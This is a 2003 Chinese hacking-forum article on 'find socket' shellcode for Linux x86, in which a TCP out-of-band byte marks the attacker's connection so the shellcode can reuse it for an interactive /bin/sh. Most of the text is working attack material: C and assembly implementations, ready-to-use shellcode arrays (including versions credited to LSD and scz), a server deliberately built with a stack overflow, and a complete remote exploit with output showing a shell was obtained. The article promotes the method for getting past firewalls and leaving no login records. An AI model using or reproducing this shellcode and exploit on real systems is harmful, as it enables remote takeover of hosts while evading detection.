快速通道

文档分类
- 红盟公告
- 新手上路
- 漏洞分析
- 工具介绍
- 安全配置
- **编程技术 <=**
- 安全技术
- 业界动态

本类热门
- 初探数据包分析程序设计
- 杀毒软件的简单实现
- readasm的使用范例
- 半开扫描程序
- 注册表操作（RingZ_RgeEdit）
- proftpd 1.2.7/1.2.9rc2 remote root exploit

利用OOB查找socket(更正by bkbll,sorry to scz)

提交文章： bkbll
提交日期： 2003-07-28
文章属性： 原创
文档类别： 编程技术
浏览次数： 今1次/总2734次

利用OOB查找socket
bkbll(bkbll@cnhonker.net)
2003-7-25
[1]. 前言
在*nix系统中, 在远程溢出程序或者漏洞利用程序(exploit)中, 一般的shellcode根据应用的不同可以分为几类:
a. 绑定一个端口
b. 创建一个反连接
c. 执行某个命令，比如xterm, iptables(ipchains) -L等
d. 操作文件，比如添加一个空口令用户到/etc/passwd
e. 重绑定client的sockfd.
分析以上利用方法:
a实现比较简单, 但一旦用户有了防火墙规则不允许访问其他端口, 那么就没有利用价值了.
b. 有了防火墙规则也利用不了
c. 不够直观, 不能交互式输入/输出
d. 会留下"小尾巴", 容易被管理员发现
e. 利用当前socket来做输入输出是最方便也最安全的.
优点是:
1. 可以有交互式的终端
2. 不会在wtmp/utmp中留下纪录
3. 不会存在防火墙屏蔽等问题.

本篇文章介绍如何利用OOB(带外数据) 来查找客户端的socker, 然后重绑定句柄, 再调用/bin/sh -ilp的过程, 并且附有c程序实现, 汇编程序实现, 以及shellcode.
注: 设计到汇编和shllcode部分均为在Linux x86上的实现.
[2] 关于OOB
传输层协议使用带外数据(out-of-band,OOB)来发送一些重要的数据,如果通信一方有重要的数据需要通知对方时,协议能够将这些数据快速地发送到对方.为了发送这些数据,协议一般不使用与普通数据相同的通道,而是使用另外的通道.linux系统的套接字机制支持低层协议发送和接受带外数据.但是TCP协议没有真正意义上的带外数据.为了发送重要协议,TCP提供了一种称为紧急模式(urgent mode)的机制.TCP协议在数据段中设置URG位,表示进入紧急模式.接收方可以对紧急模式采取特殊的处理.很容易看出来,这种方式数据不容易被阻塞,可以通过在我们的服务器端程序里面捕捉SIGURG信号来及时接受数据或者使用带OOB标志的recv函数来接受.
[3] 在服务器端查找客户端句柄的方法
查找client的socket方法有很多种，LSD是通过在shellcode中， 轮循1-256 这些文件描述符，然后用getpeername得到一个sockaddr_in的结构，然后对应查找这些结构的sin_port成员值，如果sin_port等于客户端在构造shellcode时候填充进去的端口，那么就会认为找到了该句柄。后面会提供该算法和汇编代码。

还有一种方法是利用关键字鉴别方法，绿盟的小四(scz@nsfocus.com)提供了一段shellcode, 是轮循1-4文件描述符号，然后利用fcntl设置O_TRUNK， 再读这些句柄， 如果读到有事先约定好的关键字就认为找到了该句柄。后面也会提供算发和句柄。
LSD的方法比较简单，事先由client设置一个port，但对于NAT后的网络来说，client设置的port如在server端得到的port实际上可能并不一样，所以它不满足NAT环境。
小四的方法也可行，这样可以保证唯一性，但在轮循句柄，用read读数据的时候，程序没有考虑到block环境，假设从3-4都被block了，那么shellcode在运行的时候可能会要延迟两个超时的时间或者更多才能得到我们要的结果/或者是返回。我想，在read之前，利用setsockopt来设置NON_BLOCKK是不是更好呢? 一点疑问, 需要探讨.
这里想讨论一下利用OOB来鉴别的方法。
读OOB的时候不需要考虑是否阻塞是比小四方法好的一点, 而且发送数据的时候和本机IP, 端口无关, 所以也满足NAT环境.
[4] 程序实现

一下是一个正常的server端程序:

```
/* use OOB to find the client socket */
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <string.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <stdio.h>
#include <errno.h>
#include <netdb.h>
#include <signal.h>
#include <fcntl.h>
#include <time.h>
main()
{
int port=5555; // bind port
int sockfd,clifd,on=1;
struct sockaddr_in server,client;
int i,k,flag;
int data=0;
char buffer[1024];

memset(&server,0,sizeof(server));
memset(&client,0,sizeof(client));
sockfd=socket(AF_INET,SOCK_STREAM,0); //create socket
/* fill the server struct */
server.sin_port=htons(port);
server.sin_family=AF_INET;
server.sin_addr.s_addr=htonl(INADDR_ANY);
/* set socket can bind again */
setsockopt(sockfd,SOL_SOCKET,SO_REUSEADDR,&on,sizeof(on));
printf("Listening ....");
fflush(stdout);
if(bind(sockfd,(struct sockaddr *)&server,sizeof(struct sockaddr))<0)
{
perror("Bind");
close(sockfd);
return(0);
}
listen(sockfd,1);
printf("ok\r\n");
while(1)
{
i=sizeof(client);
clifd=accept(sockfd,(struct sockaddr *)&client,&i);
printf("=============================================\r\n");
printf("accept a client from %s\n",inet_ntoa(client.sin_addr));
printf("client fd=%d\r\n\r\n",clifd);
findclientfd();
sleep(10);
close(clifd);
printf("close client socket\r\n");
}
```

```
}
```
绑定在5555端口,然后等待客户连接,
连接后,调用findclientfd函数来查找客户端的句柄.
A. C语言算法:
```
int findclientfd()
{

int i,k;
char data;
struct timespec tm;

tm.tv_sec=2;
tm.tv_nsec=0;
nanosleep(&tm,NULL);
for(i=3;i<10;i++)
{
printf("test %d if is ....",i);
fflush(stdout);
k=recv(i,&data,1,1);
if(k<0)
{
printf("no\r\n");
continue;
}
if(data == 'l')
{
printf("yes\r\n");
dup2(i,2);
dup2(i,1);
dup2(i,0);
execl("//bin/sh","//bin/sh","-ilp",NULL);

}
else
{
printf("maybe? data=%c,%d\r\n",data,data);
}
}
if(i==10) printf("sorry,not find\r\n");
}
```
函数先sleep(2), 然后轮循3-9之间的句柄, 挨个读取OOB数据,如果有满足条件的'l' 数据, 就认为该句柄是客户端的socket.
编译运行看看:
```
[bkbll@mobile ownprog]$ gcc -o findfd_c findfd_c.c
[bkbll@mobile ownprog]$ ./findfd_c
Listening ....ok
==============================================
accept a client from 192.168.8.114
client fd=4

test 3 if is ....no
test 4 if is ....yes
```
利用后面附带的客户端程序连接的结果:
```
[bkbll@mobile ownprog]$ ./clientfd
Connecting ....ok
send OOB.......ok
sh-2.05b$ id;
uid=500(bkbll) gid=500(bkbll) groups=500(bkbll)
sh-2.05b$
```
证明是可行的.
B汇编语言算法
```
int findclientfd()
{
__asm__(
"
xorl %eax,%eax
pushl %eax
incl %eax
pushl %eax
movl %esp,%ebx
xorl %ecx,%ecx
```

```
movb $0xa2,%al
int $0x80
movb $0x09,%cl
movl %ecx,%eax
subl $0x0a,%eax
notl %eax
incl %eax
movl %eax,%edi
xorl %eax,%eax
incl %eax
decl %esp
movl %esp,%edx
pushl %eax
pushl %eax
pushl %edx
pushl %edi
pushl %ecx
leal 4(%esp),%ecx
xorl %ebx,%ebx
movb $0x0a,%bl
movb $0x66,%al
int $0x80
popl %ecx
cmpl $0x01,%eax
jne .+0x07
cmpb $0x49,(%edx)
je .+0xb
loop .-0x2c
xorl %eax,%eax
incl %eax
movl %eax,%ebx
int $0x80
movl %edi,%ebx
movb $0x03,%cl
movb $0x3f,%al
decl %ecx
int $0x80
incl %ecx
loop .-0x06
pushl %ecx
pushl $0x68732f6e
pushl $0x69622f2f
movl %esp,%ebx
pushl %ecx
pushl $0x706c692d
movl %esp,%edx
pushl %ecx
pushl %edx
pushl %ebx
movl %esp,%ecx
xorl %edx,%edx
xorl %eax,%eax
movb $0x0b,%al
int $0x80
"
);
}
```

后面附有对汇编程序的注释.

编译,运行看看:

```
[bkbll@mobile ownprog]$ gcc -o findfd_asm findfd_asm.c
findfd_asm.c:80:9: warning: multi-line string literals are deprecated
[bkbll@mobile ownprog]$ ./findfd_asm
Listening ....ok
==============================================
accept a client from 192.168.8.114
client fd=4
```

客户端:

```
[bkbll@mobile ownprog]$ ./clientfd
Connecting ....ok
send OOB.......ok
sh-2.05b$ id
```

uid=500(bkbll) gid=500(bkbll) groups=500(bkbll)
sh-2.05b$ ls
证明也是没有问题.
C. shellcode实现
利用gdb 得到shellcode如下:

```
char code[]=
"\x31\xc0\x50\x40\x50\x89\xe3\x31"
"\xc9\xb0\xa2\xcd\x80\xb1\x09\x89"
"\xc8\x83\xe8\x0a\xf7\xd0\x40\x89"
"\xc7\x31\xc0\x40\x4c\x89\xe2\x50"
"\x50\x52\x57\x51\x8d\x4c\x24\x04"
"\x31\xdb\xb3\x0a\xb0\x66\xcd\x80"
"\x59\x83\xf8\x01\x75\x05\x80\x3a"
"\x49\x74\x09\xe2\xd2\x31\xc0\x40"
"\x89\xc3\xcd\x80\x89\xfb\xb1\x03"
"\xb0\x3f\x49\xcd\x80\x41\xe2\xf8"
"\x51\x68\x6e\x2f\x73\x68\x68\x2f"
"\x2f\x62\x69\x89\xe3\x51\x68\x2d"
"\x69\x6c\x70\x89\xe2\x51\x52\x53"
"\x89\xe1\x31\xd2\x31\xc0\xb0\x0b"
"\xcd\x80";
```

长度是114字节.
嵌入到server中如下:

```
/* use OOB to find the client socket */
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <string.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <stdio.h>
#include <errno.h>
#include <netdb.h>
#include <signal.h>
#include <fcntl.h>
#include <time.h>
char code[]=
"\x31\xc0\x50\x40\x50\x89\xe3\x31"
"\xc9\xb0\xa2\xcd\x80\xb1\x09\x89"
"\xc8\x83\xe8\x0a\xf7\xd0\x40\x89"
"\xc7\x31\xc0\x40\x4c\x89\xe2\x50"
"\x50\x52\x57\x51\x8d\x4c\x24\x04"
"\x31\xdb\xb3\x0a\xb0\x66\xcd\x80"
"\x59\x83\xf8\x01\x75\x05\x80\x3a"
"\x49\x74\x09\xe2\xd2\x31\xc0\x40"
"\x89\xc3\xcd\x80\x89\xfb\xb1\x03"
"\xb0\x3f\x49\xcd\x80\x41\xe2\xf8"
"\x51\x68\x6e\x2f\x73\x68\x68\x2f"
"\x2f\x62\x69\x89\xe3\x51\x68\x2d"
"\x69\x6c\x70\x89\xe2\x51\x52\x53"
"\x89\xe1\x31\xd2\x31\xc0\xb0\x0b"
"\xcd\x80";
main()
{
int port=5555; // bind port
int sockfd,clifd,on=1;
struct sockaddr_in server,client;
int i,k,flag;
int data=0;
char buffer[1024];
void (*z)()=(void*)code;

memset(&server,0,sizeof(server));
memset(&client,0,sizeof(client));
sockfd=socket(AF_INET,SOCK_STREAM,0); //create socket
/* fill the server struct */
server.sin_port=htons(port);
server.sin_family=AF_INET;
server.sin_addr.s_addr=htonl(INADDR_ANY);
/* set socket can bind again */
```

```
setsockopt(sockfd,SOL_SOCKET,SO_REUSEADDR,&on,sizeof(on));
printf("Listening ....");
fflush(stdout);
if(bind(sockfd,(struct sockaddr *)&server,sizeof(struct sockaddr))<0)
{
perror("Bind");
close(sockfd);
return(0);
}
listen(sockfd,1);
printf("ok\r\n");
while(1)
{
i=sizeof(client);
clifd=accept(sockfd,(struct sockaddr *)&client,&i);
printf("=============================================\r\n");
printf("accept a client from %s\n",inet_ntoa(client.sin_addr));
printf("client fd=%d\r\n\r\n",clifd);
z(); //调用shellcode
sleep(10);
close(clifd);
printf("close client socket\r\n");
}

}
```

编译运行:

```
[bkbll@mobile ownprog]$ gcc -o findfd_shell findfd_shell.c
[bkbll@mobile ownprog]$ ./findfd_shell
Listening ....ok
=============================================
accept a client from 192.168.8.114
client fd=4
```

客户端:

```
[bkbll@mobile ownprog]$ ./clientfd
Connecting ....ok
send OOB.......ok
sh-2.05b$ id
uid=500(bkbll) gid=500(bkbll) groups=500(bkbll)
sh-2.05b$
```

同样可行.

[5] LSD和 scz算法实现

A. LSD C语言算法:

```
/* From asmcode-1.0.2.pdf downding from lsd-pl.net */
j=sizeof(sockaddr_in);
for(i=256;i>=0;i--){
if(getpeername(sck,&adr,&j)==-1) continue; //这里有一个问题,sck应该是i
if(*((unsigned short)&(adr[2]))==htons(port)) break;
}
for(j=2;j>=0;j--) dup2(j,i);
```

B. LSD的汇编算法和shllcode

(注意:这里仅仅是find sckcode,并没有dup2和exece等操作):

```
char findsckcode[]= /* 72 bytes */
"\x31\xdb" /* xorl %ebx,%ebx */
"\x89\xe7" /* movl %esp,%edi */
"\x8d\x77\x10" /* leal 0x10(%edi),%esi */
"\x89\x77\x04" /* movl %esi,0x4(%edi) */
"\x8d\x4f\x20" /* leal 0x20(%edi),%ecx */
"\x89\x4f\x08" /* movl %ecx,0x8(%edi) */
"\xb3\x10" /* movb $0x10,%bl */
"\x89\x19" /* movl %ebx,(%ecx) */
"\x31\xc9" /* xorl %ecx,%ecx */
"\xb1\xff" /* movb $0xff,%cl */
"\x89\x0f" /* movl %ecx,(%edi) */
"\x51" /* pushl %ecx */
"\x31\xc0" /* xorl %eax,%eax */
"\xb0\x66" /* movb $0x66,%al */
"\xb3\x07" /* movb $0x07,%bl */
"\x89\xf9" /* movl %edi,%ecx */
"\xcd\x80" /* int $0x80 */
"\x59" /* popl %ecx */
"\x31\xdb" /* xorl %ebx,%ebx */
```

```
"\x39\xd8" /* cmpl %ebx,%eax */
"\x75\x0a" /* jne <findsckcode+54> */
"\x66\xb8\x12\x34" /* movw $0x1234,%bx */
"\x66\x39\x46\x02" /* cmpw %bx,0x2(%esi) */
"\x74\x02" /* je <findsckcode+56> */
"\xe2\xe0" /* loop <findsckcode+24> */
"\x89\xcb" /* movl %ecx,%ebx */
"\x31\xc9" /* xorl %ecx,%ecx */
"\xb1\x03" /* movb $0x03,%cl */
"\x31\xc0" /* xorl %eax,%eax */
"\xb0\x3f" /* movb $0x3f,%al */
"\x49" /* decl %ecx */
"\xcd\x80" /* int $0x80 */
"\x41" /* incl %ecx */
"\xe2\xf6" /* loop <findsckcode+62> */
```

C. SCZ的shellcode:
From: http://bbs.nsfocus.net/index.php?act=SE&f=2&t=144419&p=174118&hl=shellcode

```
unsigned char remote_shellcode[] =
"\xeb\x57\x5f\x31\xc0\x40\x89\x47"
"\x08\x31\xd2\x8d\x4f\x08\x31\xdb"
"\xb3\x0d\x04\x42\xcd\x80\x31\xc9"
"\xb5\x04\x89\xcb\x51\x31\xc9\xb1"
"\x03\x31\xd2\x31\xc0\xb0\x37\xcd"
"\x80\x89\xc6\x89\xc2\x80\xce\x08"
"\x41\x31\xc0\xb0\x37\xcd\x80\x89"
"\xca\x8d\x4f\x08\x89\xd0\x48\xcd"
"\x80\x89\xd1\x89\xf2\x31\xc0\xb0"
"\x37\xcd\x80\x59\x81\x7f\x08\x4e"
"\x53\x46\x4f\x74\x06\xe2\xc3\xeb"
"\xbd\xeb\x33\x31\xc9\x31\xc0\xb0"
"\x3f\xcd\x80\x41\x31\xc0\xb0\x3f"
"\xcd\x80\x41\x31\xc0\xb0\x3f\xcd"
"\x80\x89\xfb\x89\x5f\x08\x31\xc0"
"\x89\x47\x0c\x88\x47\x07\x31\xd2"
"\x8d\x4f\x08\xb0\x0b\xcd\x80\x31"
"\xdb\x89\xd8\x40\xcd\x80\xe8\x6f"
"\xff\xff\xff\x2f\x62\x69\x6e\x2f"
"\x73\x68;
```

D. 反汇编得到C算法如下:
(更正by bkbll,sorry to scz)

```
int i,k,j;
char buffer[5];
signal(SIGPIPE,SIG_IGN,NULL);
while(1)
{
   for(i=1024;i>0;i--)
   {
      j=fcntl(i,GETFL,NULL);
      k=j;
      j|=O_NONBLOCK;
      fcntl(i,SETFL,j);
      read(i,buffer,4);
      fcntl(i,SETFL,k);
      if(strncmp(buffer,"NSFO",4)==0) break;
   }
   if(i>0) break;
}
dup2(i,0);
dup2(i,1);
dup2(i,2);
execl("/bin/sh","/bin/sh",NULL);
exit(0);
```

[5] 附录程序
A. 上面利用的client程序:

```
/* use OOB to identify itself the client socket */
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <string.h>
```

```
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <stdio.h>
#include <errno.h>
#include <netdb.h>
#define BUF 1024
main()
{
int port=5555; // connect port
char server[]="192.168.8.114";
int sockfd,on=1;
struct sockaddr_in client;
struct hostent *host;
int i,k,count;
int data1=0,data2=0;
fd_set fds;
char buffer[BUF];

memset(&client,0,sizeof(client));
sockfd=socket(AF_INET,SOCK_STREAM,0); //create socket
/* fill the client struct */
client.sin_port=htons(port);
client.sin_family=AF_INET;
host=gethostbyname(server);
client.sin_addr=*((struct in_addr *)host->h_addr);

printf("Connecting ....");
fflush(stdout);
if(connect(sockfd,(struct sockaddr *)&client,sizeof(struct sockaddr))<0)
{
perror("error");
close(sockfd);
return(0);
}
printf("ok\r\n");
data1='I';
printf("send OOB.......");
fflush(stdout);
if(send(sockfd,&data1,1,MSG_OOB)<1)
{
perror("error");
close(sockfd);
return(0);
}

printf("ok\r\n");
while(1)
{
FD_ZERO(&fds);
FD_SET(0, &fds);
FD_SET(sockfd, &fds);

if (select(sockfd+1, &fds, NULL, NULL, NULL) < 0)
{
if (errno == EINTR) continue;
break;
}
if (FD_ISSET(0, &fds))
{
count = read(0, buffer, BUF);
if (count <= 0) break;
if (write(sockfd, buffer, count) <= 0) break;
memset(buffer,0,BUF);
}
if (FD_ISSET(sockfd, &fds))
{
count = read(sockfd, buffer, BUF);
if (count <= 0) break;
if (write(1, buffer, count) <= 0) break;
memset(buffer,0,BUF);
}
```

```
}
close(sockfd);
}
```

B. OOB 程序的汇编注释

```
/* find code asm */
/* sleep(1)*/
.text
.globl _start
_start:
xorl %eax,%eax
pushl %eax
incl %eax
pushl %eax
movl %esp,%ebx
xorl %ecx,%ecx
movb $0xa2,%al
int $0x80
movb $0x09,%cl
movl %ecx,%eax /* <--loop to here */
subl $0x0a,%eax /* eax=edi-10 */
notl %eax /* eax=~eax */
incl %eax /* eax+1 */
movl %eax,%edi
xorl %eax,%eax
incl %eax
decl %esp
movl %esp,%edx /* 存放OOB 数据的地方 */
pushl %eax /* 1 */
pushl %eax /* 1 */
pushl %edx /* &data*/
pushl %edi /* 判断的句柄 */
pushl %ecx /* ecx 入栈 */
leal 4(%esp),%ecx /* socketcall 的arg*/
xorl %ebx,%ebx
movb $0x0a,%bl /* 调用recv */
movb $0x66,%al /* socketcall 调用 */
int $0x80
popl %ecx /* ecx 出栈 */
cmpl $0x01,%eax
jne .+0x07 /* 不相等直接跳转到loop */
/* 相等判断是否位'I' */
cmpb $0x49,(%edx)
je .+0xb /* 相等则直接跳转到dup2这里 */
loop .-0x2c /* 循环 */
xorl %eax,%eax
incl %eax
movl %eax,%ebx
int $0x80 /* 没有找到,退出 */
/* 这里开始dup2 了 */
movl %edi,%ebx
movb $0x03,%cl
movb $0x3f,%al
decl %ecx
int $0x80
incl %ecx
loop .-0x06
/* 开始execve("/bin//sh",argv,NULL) */
pushl %ecx /* argv的NULL */
pushl $0x68732f6e /* n/sh */
pushl $0x69622f2f /* //bi */
movl %esp,%ebx
pushl %ecx
pushl $0x706c692d /* -ilp */
movl %esp,%edx
pushl %ecx
pushl %edx
pushl %ebx
movl %esp,%ecx /* 构造argv */
xorl %edx,%edx /* argenv=NULL */
xorl %eax,%eax
```

```
movb $0x0b,%al /* execve 调用  */
int $0x80
```

C. 一个漏洞程序和用了这个OOB shellcode的exploit

```
/* vuln.c */
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <string.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <stdio.h>
#include <errno.h>
#include <netdb.h>
#include <signal.h>
#include <fcntl.h>
int ptdata(char *buff);
main()
{
int port=5555; // bind port
int sockfd,clifd,on=1;
struct sockaddr_in server,client;
int i,k,flag;
int data=0;
char buffer[1024];

memset(&server,0,sizeof(server));
memset(&client,0,sizeof(client));
sockfd=socket(AF_INET,SOCK_STREAM,0); //create socket
/* fill the server struct */
server.sin_port=htons(port);
server.sin_family=AF_INET;
server.sin_addr.s_addr=htonl(INADDR_ANY);
/* set socket can bind again */
setsockopt(sockfd,SOL_SOCKET,SO_REUSEADDR,&on,sizeof(on));
printf("Listening ....");
fflush(stdout);
if(bind(sockfd,(struct sockaddr *)&server,sizeof(struct sockaddr))<0)
{
perror("Bind");
close(sockfd);
return(0);
}
listen(sockfd,1);
printf("ok\r\n");
while(1)
{
i=sizeof(client);
clifd=accept(sockfd,(struct sockaddr *)&client,&i);
printf("================================================\r\n");
printf("accept a client from %s\n",inet_ntoa(client.sin_addr));
sleep(1);
read(clifd,buffer,1024);
printf("From client:");
fflush(stdout);
ptdata(buffer);
close(clifd);
printf("close client socket\r\n");
}

}
int ptdata(char *buff)
{
char buf[20];
sprintf(buf,"%s",buff);
printf("%s\r\n",buf);

}
/* test exp1 */
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
```

```
#include <string.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <stdio.h>
#include <errno.h>
#include <netdb.h>
int exec_sh(int sockfd);

char shellcode[]=
"\x31\xc0\x50\x40\x50\x89\xe3\x31"
"\xc9\xb0\xa2\xcd\x80\xb1\x09\x89"
"\xc8\x83\xe8\x0a\xf7\xd0\x40\x89"
"\xc7\x31\xc0\x40\x4c\x89\xe2\x50"
"\x50\x52\x57\x51\x8d\x4c\x24\x04"
"\x31\xdb\xb3\x0a\xb0\x66\xcd\x80"
"\x59\x83\xf8\x01\x75\x05\x80\x3a"
"\x49\x74\x09\xe2\xd2\x31\xc0\x40"
"\x89\xc3\xcd\x80\x89\xfb\xb1\x03"
"\xb0\x3f\x49\xcd\x80\x41\xe2\xf8"
"\x51\x68\x6e\x2f\x73\x68\x68\x2f"
"\x2f\x62\x69\x89\xe3\x51\x68\x2d"
"\x69\x6c\x70\x89\xe2\x51\x52\x53"
"\x89\xe1\x31\xd2\x31\xc0\xb0\x0b"
"\xcd\x80";
#define RETADDR 0xbffff69c
#define SHELLADDR 0xbffff6b0
#define BUF 1024
main()
{
int port=5555; // connect port
char server[]="192.168.8.114";
int sockfd,on=1;
struct sockaddr_in client;
struct hostent *host;
int a,i=20,k=0x9c-0x70-20,b=20; //k is the offset
int data1=0,data2=0;
char buffer[1024];
char data;
memset(&client,0,sizeof(client));
sockfd=socket(AF_INET,SOCK_STREAM,0); //create socket
/* fill the client struct */
client.sin_port=htons(port);
client.sin_family=AF_INET;
host=gethostbyname(server);
client.sin_addr=*((struct in_addr *)host->h_addr);
printf("shellcode length:%d, shellcode addr:%p\r\n",strlen
(shellcode),SHELLADDR);
printf("Connecting ....");
fflush(stdout);
if(connect(sockfd,(struct sockaddr *)&client,sizeof(struct sockaddr))<0)
{
perror("error");
close(sockfd);
return(0);
}
printf("ok\r\n");
//data1='I';
for(a=0;a<i+k;a++) buffer[a]='A';
/* use shelladdr to cover function return address */
buffer[a++]=SHELLADDR & 0xff;
buffer[a++]=(SHELLADDR >>8) & 0xff;
buffer[a++]=(SHELLADDR >>16) & 0xff;
buffer[a++]=(SHELLADDR >>24) & 0xff;
/* fill NOP */
b=b+a;
for(a;a<b;a++) buffer[a]=0x90;
/* fill shellcode */
strncpy(buffer+a,shellcode,strlen(shellcode));
showmem((unsigned int)buffer,strlen(buffer));
printf("send data.....");
fflush(stdout);
```

```
if(write(sockfd,buffer,strlen(buffer))<1)
{
perror("error");
close(sockfd);
return(0);
}
printf("ok\r\n");

data='I';
printf("send OOB.....");
fflush(stdout);
if(send(sockfd,&data,1,1)<1)
{
perror("error");
close(sockfd);
return(0);
}
printf("ok\r\n");
exec_sh(sockfd);
close(sockfd);
}

int exec_sh(int sockfd)
{
char buffer[BUF];
fd_set fds;
int count;

while(1)
{
FD_ZERO(&fds);
FD_SET(0, &fds);
FD_SET(sockfd, &fds);

if (select(sockfd+1, &fds, NULL, NULL, NULL) < 0)
{
if (errno == EINTR) continue;
break;
}
if (FD_ISSET(0, &fds))
{
count = read(0, buffer, BUF);
if (count <= 0) break;
if (write(sockfd, buffer, count) <= 0) break;
memset(buffer,0,BUF);
}
if (FD_ISSET(sockfd, &fds))
{
count = read(sockfd, buffer, BUF);
if (count <= 0) break;
if (write(1, buffer, count) <= 0) break;
memset(buffer,0,BUF);
}

}
}
```

利用:

```
[bkbll@mobile testc]$ ./vuln
Listening ....ok
================================================
accept a client from 192.168.8.114
client fd=4

From client:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA蚌
繡惇惇惇惇惇惇惇惇1纁@P条1砂⑼€? 壢夳
屡@餟1繞L夆PPRWQ崮$1鄹
癳蛝Y凐u€:It 庖1繞壝蛝夳卑?I蛝A怪Qhn/shh//bi条Qh-ilp夆QRS夆1?腊
蛝
PuTTY
客户端:
[bkbll@mobile testc]$ ./exp
shellcode length:114, shellcode addr:0xbffff6b0
```

```
Connecting ....ok
send data.......ok
send OOB.......ok
sh-2.05b$ id
uid=500(bkbll) gid=500(bkbll) groups=500(bkbll)
sh-2.05b$
```

返回上页

Copyright © 2000-2004 **HUC** All Rights Reserved.
中国红客网络技术联盟 www.cnhonker.com
webmaster@cnhonker.net